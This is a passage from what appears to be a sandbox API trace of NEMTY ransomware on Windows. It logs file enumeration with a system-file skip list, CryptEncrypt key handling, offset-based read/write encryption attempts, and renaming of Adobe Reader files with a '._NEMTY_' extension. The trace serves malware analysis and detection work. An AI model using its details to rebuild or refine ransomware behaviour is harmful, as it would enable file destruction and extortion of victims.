lpString2="desktop.ini") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="CONFIG.SYS") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="RECYCLER") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="BOOTSECT.BAK") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="bootmgr") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="programdata") returned 1 [0212.325] lstrcmpiW (lpString1="UniJIS-UCS2-H", lpString2="appdata") returned 1 [0212.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-H", lpUsedDefaultChar=0x0) returned 13 [0212.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-H", lpUsedDefaultChar=0x0) returned 13 [0212.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-H", lpUsedDefaultChar=0x0) returned 13 [0212.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-H", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-H", lpUsedDefaultChar=0x0) returned 13 [0212.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0212.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0212.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0212.326] Sleep (dwMilliseconds=0x5) [0212.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32321e70, dwHighDateTime=0x1d561e8)) [0212.330] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x32321e70, dwHighDateTime=0x1d561e8)) [0212.330] GetLastError () returned 0x5 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0212.330] GetLastError () returned 0x5 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.330] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0212.330] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0212.330] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0212.330] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="4h34avufVgFacodQXiQBYmnYrNeqiyF+UEzup/8qFXiJHDUIpCLWvibjtMEcjZ1T\r\npCFHAnI1wdQAmVLU+qgsGjtewq+eXt9Sns96miqdcgN0QcpHAg0BMx8/E9W8sw25\r\neuzkFTkhYQ6ULeaHF6wgHEj0+CjKVUcV1o07AqVYLdvaClMrJ14ri6e1aBcB3UuG\r\nutMzMMzSvpvG8ehHysADLtRPMbSdwhx9R4CD2YM4oO/8WgGhdd5bA+76/QKVwPN2\r\ngTf4RO6L6//asSJpQYfwJze3yDbxTUlhVYYTjMod0T5JSPY1GGbhcbLC0bQL21PR\r\n+kaXw23ouWGu+ebNpESuPQ==\r\n", pcchString=0x653e91c) returned 1 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0212.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0212.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0212.330] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0212.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0212.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.331] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.340] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.340] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.340] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.350] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.350] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.350] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.360] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.389] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0212.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0212.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0212.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0212.440] CloseHandle (hObject=0xffffffff) returned 0 [0212.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0212.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0212.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0212.441] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0212.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0212.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0212.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0212.441] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-h"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniJIS-UCS2-H._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unijis-ucs2-h._nemty_kgobjgd_")) returned 0 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0212.441] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-H", cAlternateFileName="UNIJIS~2")) returned 1 [0212.441] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2=".") returned 1 [0212.441] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="..") returned 1 [0212.441] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="...") returned 1 [0212.441] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="windows") returned -1 [0212.441] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="$RECYCLE.BIN") returned 1 [0212.441] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="rsa") returned 1 [0212.441] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="NTDETECT.COM") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="ntldr") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="MSDOS.SYS") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="IO.SYS") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="boot.ini") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="boot.ini") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="AUTOEXEC.BAT") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="ntuser.dat") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="desktop.ini") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="CONFIG.SYS") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="RECYCLER") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="BOOTSECT.BAK") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="bootmgr") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="programdata") returned 1 [0212.442] lstrcmpiW (lpString1="UniJIS-UCS2-HW-H", lpString2="appdata") returned 1 [0212.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0212.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-H", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0212.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-H", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-HW-H", lpUsedDefaultChar=0x0) returned 16 [0212.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0212.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-H", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0212.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0212.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-H", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UniJIS-UCS2-HW-H", lpUsedDefaultChar=0x0) returned 16 [0212.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0212.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0212.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0212.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0212.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UniJIS-UCS2-HW-H", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0212.442] RtlAllocateHeap (HeapHandle=0x4f90000, 